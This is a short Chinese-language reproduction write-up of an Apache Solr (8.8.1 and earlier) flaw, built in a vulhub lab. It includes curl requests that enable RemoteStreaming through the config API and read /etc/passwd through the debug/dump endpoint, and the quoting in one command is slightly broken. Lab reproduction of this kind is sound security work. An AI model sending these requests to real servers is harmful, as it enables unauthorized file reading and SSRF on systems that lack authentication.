漏洞描述
Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。
影响范围
Apache Solr <= 8.8.1
复现过程
漏洞环境
vulhub搭建:https://github.com/vulhub/vulhub/blob/master/solr/Remote-Streaming-Fileread/README.zh-cn.md
执行如下命令启动solr 8.8.1:
docker-compose up -d
环境启动后,访问http://your-ip:8983
即可查看Apache Solr后台。
复现过程
访问,获取core
http://ip:8983/solr/admin/cores?indexInfo=false&wt=json
我们这里core为demo,命令行发送
发送如下数据包,修改数据库demo的配置,开启RemoteStreaming:
curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json'
--data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}} \
$'http://ip:8983/solr/demo/config'
读取任意文件
curl -i -s -k 'http://ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'